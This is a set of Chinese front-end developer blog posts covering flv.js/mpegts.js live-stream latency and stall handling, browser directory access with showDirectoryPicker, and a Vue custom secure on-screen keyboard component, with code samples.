简单总结一下: 大家在平时用到了定时器,如果在用不到定时器后一定要清除掉,否则就会出现本例中的情况。除了setTimeoutsetInterval,其实浏览器还提供了一个API也可能就存在这样的问题,那就是requestAnimationFrame




  • 好了好了,学完了,ui妹妹我来了






  • ui妹妹:去你m的,滚远点





好了兄弟们,内存泄漏学会了吗?


作者:顾昂_
来源:juejin.cn/post/7309040097936474175
收起阅读 »

以为 flv.js 直播超简单,结果被延迟和卡顿整疯了

web
大家好,我是杨成功。 之前写过一篇浏览器直播的文章,叫《用一个 flv.js 播放监控的例子,带你深撅直播流技术》。这片文章的热度还不错,主要内容就是科普直播是什么,以及如何在浏览器中播放直播。 实现方法很简单,使用一个流行的第三方包 flv.js,即可快速播...
继续阅读 »

大家好,我是杨成功。


之前写过一篇浏览器直播的文章,叫《用一个 flv.js 播放监控的例子,带你深撅直播流技术》。这片文章的热度还不错,主要内容就是科普直播是什么,以及如何在浏览器中播放直播。


实现方法很简单,使用一个流行的第三方包 flv.js,即可快速播放直播。


在我们的项目中也使用这种方式,比如播放海康监控器的直播、教学直播等都可以正常播放。然而在产品成熟后,我们发现直播中有两个致命问题:



  1. 直播延迟,播越久延迟越高。

  2. 直播卡顿,无法判断什么时候卡顿。


解决上述两个问题是直播稳定性和可用性的关键,下面就来详解一下。


抗延迟关键 —— “追帧”


使用 flv.js 直播,需要一个 标签承载直播画面。默认情况下 video 标签用于播放点播(录制好的)视频,因此它会一边播放一边下载。


点播不要求实时性,暂停之后再继续播放,视频会接着暂停的画面继续播放;而如果是直播,暂停后继续播放时必须切换到最新的画面帧,这就是 “追帧” 的概念。


一图胜千言,不追帧的效果是这样的:


iShot_2023-11-07_11.29.55.gif


追帧的效果是这样的:


iShot_2023-11-07_11.44.16.gif


可以看到,设置追帧后的暂停重播,会立即切换到最新的画面。


在实际场景中,直播没有暂停按钮,但是常常会因为网络问题卡顿。如果卡顿恢复后视频没有追帧,就会导致直播延迟越来越高。


使用 mpegts.js 替代 flv.js


据传说,flv.js 的作者是一个高中毕业在 B 站上班的小伙子,月薪仅仅不到 5k。后来小伙离职去了日本,无法更新 flv.js,于是有了 mpegts.js。


目前 flv.js 已停止维护,mpegts.js 是其升级版,开发者是同一个人。涉及到追帧的高级功能,mpegts.js 支持的更好。在 flv.js 主页也可以看到推荐:


image.png


mpegts.js 的用法与 flv.js 基本一致,如下:


import mpegts from 'mpegts.js';

let config = {};
let player = mpegts.createPlayer(
{
type: 'flv',
isLive: true,
url: 'http://xxxx.flv',
},
config,
);

mpegts.js 提供了自动追帧的配置项 liveBufferLatencyChasing,开启自动追帧方法如下:


let config = {
liveBufferLatencyChasing: true,
};

设置自动追帧后,虽然延迟问题解决了,但画面可能会更加卡顿。这里涉及到 IO 缓存的问题。


配置 IO 缓存,优化追帧卡顿


首先思考一个问题:直播的延迟越低越好吗?


从需求上讲,当然是越低越好;可从技术上讲,并不是越低越好。


直播是实时流,从远端拉流并实时解码播放,但这个过程极容易受到网络影响。不管是推流端或拉流端遇到了网路抖动,数据传输受阻,直播必然会卡顿,这个是正常现象。


怎么办呢?这个时候就要用到 IO 缓存,牺牲一点实时性,用延迟换取流畅。


假设播放器缓存了 1 秒的数据流,并将直播延迟 1 秒播放。当遇到网络抖动时,播放器会读取缓存数据继续播放,网络恢复后再向缓冲区追加数据,这样用户在看直播时,完全感受不到卡顿。


但如果网络异常时间超过 1 秒,缓冲区中的数据读取完毕,直播还是会卡住;如果加大缓存量,缓存了 3 秒的数据,这又会导致直播延迟过高。


所以,设置缓存可以有效解决追帧卡顿问题;若要在保证流畅的前提下,尽可能地降低延迟,则需要一个合理的缓存值。


mpegts.js 提供了 liveBufferLatencyMaxLatencyliveBufferLatencyMinRemain 两个配置项来控制缓存时间,分别表示最大缓存时间和最小缓存时间,单位为秒。


以下方配置为例,缓存时间设置越长、流畅性越好、延迟越高:


let config = {
liveBufferLatencyChasing: true, // 开启追帧
liveBufferLatencyMaxLatency: 0.9, // 最大缓存时间
liveBufferLatencyMinRemain: 0.2, // 最小缓存时间
};

实际的缓存时间会根据网络情况动态变化,值的范围在上述两个配置项之间。


处理卡顿关键 —— “断流检测”


直播是实时流播放,任何一个环节出现异常,都会导致直播卡顿、出现黑屏等现象。这是因为实时拉取的流数据断开了,我们称之为“断流”。


多数情况下的断流都是网络原因导致,此时可能需要提醒用户“当前网络拥堵”、或者显示“直播加载中”的字样,告诉用户发生了什么。


而实现这些功能的前提,必须要知道流什么时候断开,我们就需要做“断流检测”。


mpegts.js 提供了几个内置事件来监听直播的状态,常用如下:



  • mpegts.Events.ERROR:出现异常事件。

  • mpegts.Events.LOADING_COMPLETE:流结束事件。

  • mpegts.Events.STATISTICS_INFO:流状态变化事件。


前两个事件分别会在出现异常和直播结束的时候触发,监听方法如下:


let player = mpegts.createPlayer({...})

player.on(mpegts.Events.ERROR, e=> {
console.log('发生异常')
});
player.on(mpegts.Events.LOADING_COMPLETE, (e) => {
console.log("直播已结束");
});

当未发生异常、且直播未结束的情况下,我们就需要监听直播卡顿。通过监听 STATISTICS_INFO 事件来实现。


首先科普一下:播放器在播放直播时需要实时解码,每一帧画面过来,就需要解码一次。当直播卡顿时,没有画面过来,解码也会暂停,因此可以通过已解码的帧数来判断是否卡顿。


STATISTICS_INFO 事件的回调函数参数中,有一个 decodedFrames 属性,正是表示当前已解码的帧数,我们来看一下:


player.on(mpegts.Events.STATISTICS_INFO, (e) => {
console.log("解码帧:"e.decodedFrames); // 已经解码的帧数
});

在直播过程中,上述回调函数会一直执行,打印结果如下:


image-1.png


可以看到,解码帧一直在递增,表示直播正常。当直播卡顿时,打印结果是这样的:


2023-11-08-21-17-53.png


解码帧连续 9 次卡在了 904 这个值不变,这是因为直播卡顿了,没有画面需要解码。


所以,判断卡顿的方法是将上一次的解码帧与当前解码帧做对比,如果值一致则出现了卡顿。


当然轻微的卡顿不需要处理。我们可以将连续 N 次出现相同的解码帧视为一次卡顿,然后执行自己的业务逻辑。


当解码帧的值长时间没有变化时,我们可以视为推流已结束,此时可以主动结束直播。


作者:杨成功
来源:juejin.cn/post/7299037876636663847
收起阅读 »

用一个 flv.js 播放监控的例子,带你深撅直播流技术

web
大家好,我是杨成功。 本文记录一下在使用 flv.js 播放监控视频时踩过的各种各样的坑。虽然官网给的 Getting Started 只有短短几行代码,跑一个能播视频的 demo 很容易,但是播放时各种各样的异常会搞到你怀疑人生。 究其原因,一方面 GitH...
继续阅读 »

大家好,我是杨成功。


本文记录一下在使用 flv.js 播放监控视频时踩过的各种各样的坑。虽然官网给的 Getting Started 只有短短几行代码,跑一个能播视频的 demo 很容易,但是播放时各种各样的异常会搞到你怀疑人生。


究其原因,一方面 GitHub 上文档比较晦涩,说明也比较简陋;另一方面是受“视频播放”思维的影响,没有对的足够认识以及缺乏处理流的经验。


下面我将自己踩过的坑,以及踩坑过程中补充的相关知识,详细总结一下。


大纲预览


本文介绍的内容包括以下方面:



  • 直播与点播

  • 静态数据与流数据

  • 为什么选 flv?

  • 协议与基础实现

  • 细节处理要点

  • 样式定制


点播与直播


啥是直播?啥是点播?


直播就不用说了,抖音普及之下大家都知道直播是干嘛的。点播其实就是视频播放,和咱们哔哩哔哩看视频一摸一样没区别,就是把提前做好的视频放出来,就叫点播。


点播对于我们前端来说,就是拿一个 mp4 的链接地址,放到 video 标签里面,浏览器会帮我们处理好视频解析播放等一些列事情,我们可以拖动进度条选择想看的任意一个时间。


但是直播不一样,直播有两个特点:



  1. 获取的是流数据

  2. 要求实时性


先看一下什么叫流数据。大部分没有做过音视频的前端同学,我们常接触的数据就是 ajax 从接口获取的 json 数据,特别一点的可能是文件上传。这些数据的特点是,它们都属于一次性就能拿到的数据。我们一个请求,一个响应,完整的数据就拿回来了。


但是流不一样,流数据获取是一帧一帧的,你可以理解为是一小块一小块的。像直播流的数据,它并不是一个完整的视频片段,它就是很小的二进制数据,需要你一点一点的拼接起来,才有可能输出一段视频。


再看它的实时性。如果是点播的话,我们直接将完整的视频存储在服务器上,然后返回链接,前端用 video 或播放器播就行了。但是直播的实时性,就决定了数据源不可能在服务器上,而是在某一个客户端。


数据源在客户端,那么又是怎么到达其他客户端的呢?


这个问题,请看下面这张流程图:


Untitled Diagram.drawio (7).png


如图所示,发起直播的客户端,向上连着流媒体服务器,直播产生的视频流会被实时推送到服务端,这个过程叫做推流。其他客户端同样也连接着这个流媒体服务器,不同的是它们是播放端,会实时拉取直播客户端的视频流,这个过程叫做拉流


推流—> 服务器-> 拉流,这是目前流行的也是标准的直播解决方案。看到了吧,直播的整个流程全都是流数据传输,数据处理直面二进制,要比点播复杂了几个量级。


具体到我们业务当中的摄像头实时监控预览,其实和上面的完全一致,只不过发起直播的客户端是摄像头,观看直播的客户端是浏览器而已。


静态数据与流数据


我们常接触的文本,json,图片等等,都属于静态数据,前端用 ajax 向接口请求回来的数据就是静态数据。


像上面说到的,直播产生的视频和音频,都属于流数据。流数据是一帧一帧的,它的本质是二进制数据,因为很小,数据像水流一样连绵不断的流动,因此非常适合实时传输。


静态数据,在前端代码中有对应的数据类型,比如 string,json,array 等等。那么流数据(二进制数据)的数据类型是什么?在前端如何存储?又如何操作?


首先明确一点,前端是可以存储和操作二进制的。最基本的二进制对象是 ArrayBuffer,它表示一个固定长度,如:


let buffer = new ArrayBuffer(16) // 创建一个 16 字节 的 buffer,用 0 填充
alert(buffer.byteLength) // 16

ArrayBuffer 只是用于存储二进制数据,如果要操作,则需要使用 视图对象


视图对象,不存储任何数据,作用是将 ArrayBuffer 的数据做了结构化的处理,便于我们操作这些数据,说白了它们是操作二进制数据的接口。


视图对象包括:



  • Uint8Array:每个 item 1 个字节

  • Uint16Array:每个 item 2 个字节

  • Uint32Array:每个 item 4 个字节

  • Float64Array:每个 item 8 个字节


按照上面的标准,一个 16 字节 ArrayBuffer,可转化的视图对象和其长度为:



  • Uint8Array:长度 16

  • Uint16Array:长度 8

  • Uint32Array:长度 4

  • Float64Array:长度 2


这里只是简单介绍流数据在前端如何存储,为的是避免你在浏览器看到一个长长的 ArrayBuffer 不知道它是什么,记住它一定是二进制数据。


为什么选 flv?


前面说到,直播需要实时性,延迟当然越短越好。当然决定传输速度的因素有很多,其中一个就是视频数据本身的大小。


点播场景我们最常见的 mp4 格式,对前端是兼容性最好的。但是相对来说 mp4 的体积比较大,解析会复杂一些。在直播场景下这就是 mp4 的劣势。


flv 就不一样了,它的头部文件非常小,结构简单,解析起来又块,在直播的实时性要求下非常有优势,因此它成了最常用的直播方案之一。


当然除了 flv 之外还有其他格式,对应直播协议,我们一一对比一下:



  • RTMP: 底层基于 TCP,在浏览器端依赖 Flash。

  • HTTP-FLV: 基于 HTTP 流式 IO 传输 FLV,依赖浏览器支持播放 FLV。

  • WebSocket-FLV: 基于 WebSocket 传输 FLV,依赖浏览器支持播放 FLV。

  • HLS: Http Live Streaming,苹果提出基于 HTTP 的流媒体传输协议。HTML5 可以直接打开播放。

  • RTP: 基于 UDP,延迟 1 秒,浏览器不支持。


其实早期常用的直播方案是 RTMP,兼容性也不错,但是它依赖 Flash,而目前浏览器下 Flash 默认是被禁用的状态,已经被时代淘汰的技术,因此不做考虑。


HLS 协议也很常见,对应视频格式就是 m3u8。它是由苹果推出,对手机支持非常好,但是致命缺点是延迟高(10~30 秒),因此也不做考虑。


RTP 不必说,浏览器不支持,剩下的就只有 flv 了。


但是 flv 又分为 HTTP-FLVWebSocket-FLV,它两看着像兄弟,又有什么区别呢?


前面我们说过,直播流是实时传输,连接创建后不会断,需要持续的推拉流。这种需要长连接的场景我们首先想到的方案自然是 WebSocket,因为 WebSocket 本来就是长连接实时互传的技术。


不过呢随着 js 原生能力扩展,出现了像 fetch 这样比 ajax 更强的黑科技。它不光支持对我们更友好的 Promise,并且天生可以处理流数据,性能很好,而且使用起来也足够简单,对我们开发者来说更方便,因此就有了 http 版的 flv 方案。


综上所述,最适合浏览器直播的是 flv,但是 flv 也不是万金油,它的缺点是前端 video 标签不能直接播放,需要经过处理才行。


处理方案,就是我们今天的主角:flv.js


协议与基础实现


前面我们说到,flv 同时支持 WebSocket 和 HTTP 两种传输方式,幸运的是,flv.js 也同时支持这两种协议。


选择用 http 还是 ws,其实功能和性能上差别不大,关键看后端同学给我们什么协议吧。我这边的选择是 http,前后端处理起来都比较方便。


接下来我们介绍 flv.js 的具体接入流程,官网在这里


假设现在有一个直播流地址:http://test.stream.com/fetch-media.flv,第一步我们按照官网的快速开始建一个 demo:


import flvjs from 'flv.js'
if (flvjs.isSupported()) {
var videoEl = document.getElementById('videoEl')
var flvPlayer = flvjs.createPlayer({
type: 'flv',
url: 'http://test.stream.com/fetch-media.flv'
})
flvPlayer.attachMediaElement(videoEl)
flvPlayer.load()
flvPlayer.play()
}

首先安装 flv.js,代码的第一行是检测浏览器是否支持 flv.js,其实大部分浏览器是支持的。接下来就是获取 video 标签的 DOM 元素。flv 会把处理后的 flv 流输出给 video 元素,然后在 video 上实现视频流播放。


接下来是关键之处,就是创建 flvjs.Player 对象,我们称之为播放器实例。播放器实例通过 flvjs.createPlayer 函数创建,参数是一个配置对象,常用如下:



  • type:媒体类型,flvmp4,默认 flv

  • isLive:可选,是否是直播流,默认 true

  • hasAudio:是否有音频

  • hasVideo:是否有视频

  • url:指定流地址,可以是 https(s) or ws(s)


上面的是否有音频,视频的配置,还是要看流地址是否有音视频。比如监控流只有视频流没有音频,那即便你配置 hasAudio: true 也是不可能有声音的。


播放器实例创建之后,接下来就是三步走:



  • 挂载元素:flvPlayer.attachMediaElement(videoEl)

  • 加载流:flvPlayer.load()

  • 播放流:flvPlayer.play()


基础实现流程就这么多,下面再说一下处理过程中的细节和要点。


细节处理要点


基本 demo 跑起来了,但若想上生产环境,还需要处理一些关键问题。


暂停与播放


点播中的暂停与播放很容易,播放器下面会有一个播放/暂停按键,想什么时候暂停都可以,再点播放的时候会接着上次暂停的地方继续播放。但是直播中就不一样了。


正常情况下直播应该是没有播放/暂停按钮以及进度条的。因为我们看的是实时信息,你暂停了视频,再点播放的时候是不能从暂停的地方继续播放的。为啥?因为你是实时的嘛,再点播放的时候应该是获取最新的实时流,播放最新的视频。


具体到技术细节,前端的 video 标签默认是带有进度条和暂停按钮的,flv.js 将直播流输出到 video 标签,此时如果点击暂停按钮,视频也是会停住的,这与点播逻辑一致。但是如果你再点播放,视频还是会从暂停处继续播放,这就不对了。


那么我们换个角度,重新审视一下直播的播放/暂停逻辑。


直播为什么需要暂停?拿我们视频监控来说,一个页面会放好几个摄像头的监控视频,如果每个播放器一直与服务器保持连接,持续拉流,这会造成大量的连接和消耗,流失的都是白花花的银子。


那我们是不是可以这样:进去网页的时候,找到想看的摄像头,点击播放再拉流。当你不想看的时候,点击暂停,播放器断开连接,这样是不是就会节省无用的流量消耗。


因此,直播中的播放/暂停,核心逻辑是拉流/断流


理解到这里,那我们的方案应该是隐藏 video 的暂停/播放按钮,然后自己实现播放和暂停的逻辑。


还是以上述代码为例,播放器实例(上面的 flvPlayer 变量)不用变,播放/暂停代码如下:


const onClick = isplay => {
// 参数 isplay 表示当前是否正在播放
if (isplay) {
// 在播放,断流
player.unload()
player.detachMediaElement()
} else {
// 已断流,重新拉流播放
player.attachMediaElement(videoEl.current)
player.load()
player.play()
}
}

异常处理


用 flv.js 接入直播流的过程会遇到各种问题,有的是后端数据流的问题,有的是前端处理逻辑的问题。因为流是实时获取,flv 也是实时转化输出,因此一旦发生错误,浏览器控制台会循环连续的打印异常。


如果你用 react 和 ts,满屏异常,你都无法开发下去了。再有直播流本来就可能发生许多异常,因此错误处理非常关键。


官方对异常处理的说明不太明显,我简单总结一下:


首先,flv.js 的异常分为两个级别,可以看作是 一级异常二级异常


再有,flv.js 有一个特殊之处,就是它的 事件错误 都是用枚举来表示,如下:



  • flvjs.Events:表示事件

  • flvjs.ErrorTypes:表示一级异常

  • flvjs.ErrorDetails:表示二级异常


下面介绍的异常和事件,都是基于上述枚举,你可以理解为是枚举下的一个 key 值。


一级异常有三类:



  • NETWORK_ERROR:网络错误,表示连接问题

  • MEDIA_ERROR:媒体错误,格式或解码问题

  • OTHER_ERROR:其他错误


二级级异常常用的有三类:



  • NETWORK_STATUS_CODE_INVALID:HTTP 状态码错误,说明 url 地址有误

  • NETWORK_TIMEOUT:连接超时,网络或后台问题

  • MEDIA_FORMAT_UNSUPPORTED:媒体格式不支持,一般是流数据不是 flv 的格式


了解这些之后,我们在播放器实例上监听异常:


// 监听错误事件
flvPlayer.on(flvjs.Events.ERROR, (err, errdet) => {
// 参数 err 是一级异常,errdet 是二级异常
if (err == flvjs.ErrorTypes.MEDIA_ERROR) {
console.log('媒体错误')
if(errdet == flvjs.ErrorDetails.MEDIA_FORMAT_UNSUPPORTED) {
console.log('媒体格式不支持')
}
}
if (err == flvjs.ErrorTypes.NETWORK_ERROR) {
console.log('网络错误')
if(errdet == flvjs.ErrorDetails.NETWORK_STATUS_CODE_INVALID) {
console.log('http状态码异常')
}
}
if(err == flvjs.ErrorTypes.OTHER_ERROR) {
console.log('其他异常:', errdet)
}
}

除此之外,自定义播放/暂停逻辑,还需要知道加载状态。可以通过以下方法监听视频流加载完成:


player.on(flvjs.Events.METADATA_ARRIVED, () => {
console.log('视频加载完成')
})

样式定制


为什么会有样式定制?前面我们说了,直播流的播放/暂停逻辑与点播不同,因此我们要隐藏 video 的操作栏元素,通过自定义元素来实现相关功能。


首先要隐藏播放/暂停按钮,进度条,以及音量按钮,用 css 实现即可:


/* 所有控件 */
video::-webkit-media-controls-enclosure {
display: none;
}
/* 进度条 */
video::-webkit-media-controls-timeline {
display: none;
}
video::-webkit-media-controls-current-time-display {
display: none;
}
/* 音量按钮 */
video::-webkit-media-controls-mute-button {
display: none;
}
video::-webkit-media-controls-toggle-closed-captions-button {
display: none;
}
/* 音量的控制条 */
video::-webkit-media-controls-volume-slider {
display: none;
}
/* 播放按钮 */
video::-webkit-media-controls-play-button {
display: none;
}

播放和暂停的逻辑上面讲了,样式这边自定义一个按钮即可。除此之外我们还可能需要一个全屏按钮,看一下全屏的逻辑怎么写:


const fullPage = () => {
let dom = document.querySelector('.video')
if (dom.requestFullscreen) {
dom.requestFullscreen()
} else if (dom.webkitRequestFullScreen) {
dom.webkitRequestFullScreen()
}
}

其他自定义样式,比如你要做弹幕,在 video 上面盖一层元素自行实现就可以了。


作者:杨成功
来源:juejin.cn/post/7044707642693910541
收起阅读 »

前端访问系统文件夹

web
随着前端技术和浏览器的升级,越来越多的功能可以在前端实现而不用依赖于后端。其中,访问系统文件夹是一个非常有用的功能,例如上传文件时,用户可以直接从自己的电脑中选择文件。 使用方法 在早期的浏览器中,要访问系统中的文件夹需要使用 ActiveX 控件或 Java...
继续阅读 »

随着前端技术和浏览器的升级,越来越多的功能可以在前端实现而不用依赖于后端。其中,访问系统文件夹是一个非常有用的功能,例如上传文件时,用户可以直接从自己的电脑中选择文件。


使用方法


在早期的浏览器中,要访问系统中的文件夹需要使用 ActiveX 控件或 Java Applet,这些方法已经逐渐淘汰。现在,访问系统文件夹需要使用HTML5的 API。


最常使用的 API 是FileAPI,配合 input[type="file"] 通过用户的交互行为来获取文件。但是,这种方法需要用户选择具体的文件而不是像在系统中打开文件夹来进行选择。


HTML5 还提供了更加高级的 API,如 showDirectoryPicker。它支持在浏览器中打开一个目录选择器,从而简化了选择文件夹的流程。这个 API 的使用也很简单,只需要调用 showDirectoryPicker() 方法即可。


async function pickDirectory() {
const directoryHandle = await window.showDirectoryPicker();
console.log(directoryHandle);
}

但是需要注意的是该api的兼容性较低,目前所支持的浏览器如下图所示:


image.png


点击一个按钮后,调用 pickDirectory() 方法即可打开选择文件夹的对话框,选择完文件夹后,该方法会返回一个 FileSystemFileHandle 对象,开发者可以使用这个对象来访问所选择的目录的内容。


应用场景


访问系统文件夹可以用于很多场景,下面列举几个常用的场景。


上传文件


在前端上传文件时,用户需要选择所需要上传的文件。这时,打开一个文件夹选择器,在用户选择了一个文件夹后,就可以读取文件夹中的文件并进行上传操作。


本地文件管理


将文件夹中的文件读取到前端后,可以在前端进行一些操作,如修改文件名、查看文件信息等。这个在 纯前端文件管理器 中就被广泛使用。


编辑器功能


访问系统文件夹可以将前端编辑器与本地的文件夹绑定,使得用户直接在本地进行编写代码,而不是将代码保存到云端,这对于某些敏感数据的处理尤为重要。


结尾的话


通过HTML5的 API,前端可以访问到系统中的文件夹,这项功能可以应用于上传文件、本地文件管理和编辑器功能等场景,为用户带来了极大的便利。


作者:白椰子
来源:juejin.cn/post/7222636308740014135
收起阅读 »

【手把手教学】基于vue封装一个安全键盘组件

web
基于vue封装一个安全键盘组件 为什么需要安全键盘 大部分中文应用弹出的默认键盘是简体中文输入法键盘,在输入用户名和密码的时候,如果使用简体中文输入法键盘,输入英文字符和数字字符的用户名和密码时,会自动启动系统输入法自动更正提示,然后用户的输入记录会被缓存下...
继续阅读 »

基于vue封装一个安全键盘组件



为什么需要安全键盘


大部分中文应用弹出的默认键盘是简体中文输入法键盘,在输入用户名和密码的时候,如果使用简体中文输入法键盘,输入英文字符和数字字符的用户名和密码时,会自动启动系统输入法自动更正提示,然后用户的输入记录会被缓存下来。


系统键盘缓存最方便拿到的就是利用系统输入法自动更正的字符串输入记录。 缓存文件的地址是:



/private/var/mobile/Library/Keyboard/dynamic-text.dat



导出该缓存文件,查看内容,欣喜的发现一切输入记录都是明文存储的。因为系统不会把所有的用户输入记录都当作密码等敏感信息来处理。 一般情况下,一个常规 iPhone 用户的 dynamic-text.dat 文件,高频率出现的字符串就是用户名和密码。


使用自己定制的安全键盘的原因主要有:



  • 避免第三方读取系统键盘缓存

  • 防止屏幕录制 (自己定制的键盘按键不加按下效果)


实现方案


封装组件


首先建一个文件safeKeyboard.vue安全键盘子组件.



话不多说,直接上才艺(代码)



<template>
<div class="keyboard">
<div class="key_title">
<p><img src="../../../../static/img/ic_logo@2x.png"><span>小猴子的安全键盘span>p>
div>
<p v-for="keys in keyList" :style="(keys.length<10&&keys.indexOf('ABC')<1&&keys.indexOf('del')<1&&keys.indexOf('suc')<1)?'padding: 0px 20px;':''">
<template v-for="key in keys">
<i v-if="key === 'top'" @click.stop="clickKey" @touchend.stop="clickKey" class="tab-top"><img class="top" :src='top_img'>i>
<i v-else-if="key === 'del'" @click.stop="clickKey" @touchend.stop="clickKey" class="key-delete"><img class="delete" src='删除图标路径'>i>
<i v-else-if="key === 'blank'" @click.stop="clickBlank" class="tab-blank">空格i>
<i v-else-if="key === 'suc'" @click.stop="success" @touchend.stop="success" class="tab-suc">确定i>
<i v-else-if="key === '.?123' || key === 'ABC'" @click.stop="symbol" class="tab-sym">{{(status==0||status==1)?'.?123':'ABC'}}i>
<i v-else-if="key === '123' || key === '#+='" @click.stop="number" class="tab-num">{{status==3?'123':'#+='}}i>
<i v-else @click.stop="clickKey" @touchend.stop="clickKey">{{key}}i>
template>
p>
div>
template>

<script>
export default {
data () {
return {
keyList: [],
status: 0, // 0 小写 1 大写 2 数字 3 符号
topStatus: 0, // 0 小写 1 大写
top_img: require('小写图片路径'),
lowercase: [
['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p'],
['a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l'],
['top', 'z', 'x', 'c', 'v', 'b', 'n', 'm', 'del'],
['.?123', 'blank', 'suc']
],
numbercase: [
['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'],
['-', '/', ':', ';', '(', ')', '$', '&', '@', '"'],
['#+=', '.', ',', '?', '!', "'", 'del'],
['ABC', 'blank', 'suc']
],
symbolcase: [
['[', ']', '{', '}', '#', '%', '^', '*', '+', '='],
['_', '\\', '|', '~', '<', '>', '€', '`', '¥', '·'],
['123', '.', ',', '?', '!', "'", 'del'],
['ABC', 'blank', 'suc']
],
uppercase: [
['Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P'],
['A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L'],
['top', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'del'],
['.?123', 'blank', 'suc']
],
equip: !!navigator.userAgent.toLocaleLowerCase().match(/ipad|mobile/i)// 是否是移动设备
}
},
props: {
option: {
type: Object
}
},

mounted () {
this.keyList = this.lowercase
},

methods: {
tabHandle ({value = ''}) {
if (value.indexOf('tab-num') > -1) {
if (this.status === 3) {
this.status = 2
this.keyList = this.numbercase
} else {
this.status = 3
this.keyList = this.symbolcase
}
// 数字键盘数据
} else if (value.indexOf('delete') > -1) {
this.emitValue('delete')
} else if (value.indexOf('tab-blank') > -1) {
this.emitValue(' ')
} else if (value.indexOf('tab-point') > -1) {
this.emitValue('.')
} else if (value.indexOf('tab-sym') > -1) {
if (this.status === 0) {
this.topStatus = 0
this.status = 2
this.keyList = this.numbercase
} else if (this.status === 1) {
this.topStatus = 1
this.status = 2
this.keyList = this.numbercase
} else {
if (this.topStatus == 0) {
this.status = 0
this.top_img = require('小写图片路径')
this.keyList = this.lowercase
}else{
this.status = 1
this.keyList = this.uppercase
this.top_img = require('大写图片路径')
}
}
// 符号键盘数据
} else if (value.indexOf('top') > -1) {
if (this.status === 0) {
this.status = 1
this.keyList = this.uppercase
this.top_img = require('大写图片路径')
} else {
this.status = 0
this.keyList = this.lowercase
this.top_img = require('小写图片路径')
}
} else if (value.indexOf('tab-suc') > -1) {
this.$emit('closeHandle', this.option) // 关闭键盘
}
},
number (event) {
this.tabHandle(event.srcElement.classList)
},
clickBlank (event) {
this.tabHandle(event.srcElement.classList)
},
symbol (event) {
this.tabHandle(event.srcElement.classList)
},
success (event) {
this.tabHandle(event.srcElement.classList)
},
english (event) {
this.tabHandle(event.srcElement.classList)
},
clickKey (event) {
if (event.type === 'click' && this.equip) return
let value = event.srcElement.innerText
value ? this.emitValue(value) : this.tabHandle(event.srcElement.classList)
},

emitValue (key) {
this.$emit('keyVal', key) // 向父组件传值
},

closeModal (e) {
if (e.target !== this.option.sourceDom) {
this.$emit('closeHandle', this.option)
this.keyList = this.lowercase
}
},
}
}
script>
<style scoped lang="scss">
.keyboard {
width: 100%;
margin: 0 auto;
font-size: 18px;
border-radius: 2px;
background-color: #fff;
box-shadow: 0 -2px 2px 0 rgba(89,108,132,0.20);
user-select: none;
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 999;
pointer-events: auto;
.key_title{
height: 84px;
font-size: 32px;
color: #0B0B0B;
overflow: hidden;
margin-bottom: 16px;
p{
display: flex;
justify-content: center;
align-items: center;
min-width: 302px;
height: 32px;
margin: 32px auto 0px;
img{
width: 32px;
height: 32px;
margin-right: 10px;
}
}
}
p {
width: 99%;
margin: 0 auto;
height: 84px;
margin-bottom: 24px;
display: flex;
display: -webkit-box;
flex-direction: row;
flex-wrap: nowrap;
justify-content: center;
box-sizing: border-box;
i {
position: relative;
display: block;
margin: 0px 5px;
height: 84px;
line-height: 84px;
font-style: normal;
font-size: 48px;
border-radius: 8px;
width: 64px;
background-color: #F2F4F5;
box-shadow: 0 2px 0 0 rgba(0,0,0,0.25);
text-align: center;
flex-grow: 1;
flex-shrink: 1;
flex-basis: 0;
-webkit-box-flex: 1;
img{
width: 48px;
height: 48px;
}
}
i:first-child{
margin-left: 0px
}
i:last-child{
margin-right: 0px
}
i:active {
background-color: #A9A9A9;
}
.tab-top, .key-delete, .tab-num, .tab-eng, .tab-sym{
background-color: #CED6E0;
}
.tab-top,.key-delete {
display: flex;
justify-content: center;
align-items: center;
width: 84px;
height: 84px;
}
.tab-top{
margin-right: 30px;
font-size: 32px;
}
.key-delete{
margin-left: 30px;
}
.tab-num, .tab-eng, .tab-sym{
font-size: 32px;
}
.tab-point {
width: 70px;
}
.tab-blank, .tab-suc{
text-align: center;
line-height: 84px;
font-size: 32px;
color: #000;
}
.tab-blank{
flex: 2.5;
}
.tab-suc{
background-color: #CFA46A;
}
}
p:last-child{
margin-bottom: 8px;
}
}
style>

但是,键盘的特性是,点击除键盘和输入框以外的地方,键盘收起。


所以还需要一个clickoutside.js文件,用来自定义一个指令,实现需求:


代码如下:


export default {
bind(el, binding, vnode) {
function documentHandler(e) {
if (el.contains(e.target)) {
return false;
}
if (binding.expression) {
binding.value(e);
}
}
el.__vueClickOutside__ = documentHandler;
document.addEventListener('click', documentHandler);
},
unbind(el, binding) {
document.removeEventListener('click', el.__vueClickOutside__);
delete el.__vueClickOutside__;
}
};

然后在safeKeyboard.vue中引入:


import clickoutside from './clickoutside'

并注册局部指令:


directives: { clickoutside }

然后绑定方法:


class="keyboard" v-clickoutside="closeModal">

声明方法:


closeModal (e) {
if (e.target !== this.option.sourceDom) {
this.$emit('closeHandle', this.option)
this.keyList = this.lowercase
}
},

安全键盘组件就构建完成了,接下来是在需要用到安全键盘的页面引入使用了。


使用组件


引入组件

import Keyboard from './safeKeyboard'

components: {
Keyboard
}

使用范例

type="password" ref="setPwd" v-model='password'/> 

v-if="option.show" :option="option" @keyVal="getInputValue" @closeHandle="onLeave">

键盘相关数据对象及方法


  • option


option: {
show: false, // 键盘是否显示
sourceDom: '', // 键盘绑定的Input元素
_type: '' // 键盘绑定的input元素ref
},


  • getInputValue



getInputValue(val)会接收键盘录入的数据,val是输入的单个字符或者是删除操作,由于是单个字符,所以需在方法中手动拼接成字符串。在方法中根据option._type区分是哪个输入框的数据。




  • onLeave



onLeave()相当于blur,这是由于在移动端H5项目中,input获取焦点时会调起手机软键盘,所以需要禁止软键盘被调起来,办法是:



document.activeElement.blur() // ios隐藏键盘

this.$refs.setPwd.blur() // android隐藏键盘


就相当于强制使input元素处于blur状态,那么软键盘就不会被调起,所以如果要做blur监听,就需要onLeave()。



但是这样出现了一个新的问题,输入框里面没有光标!!虽然不影响业务逻辑,但是用户用起来会很不舒服。


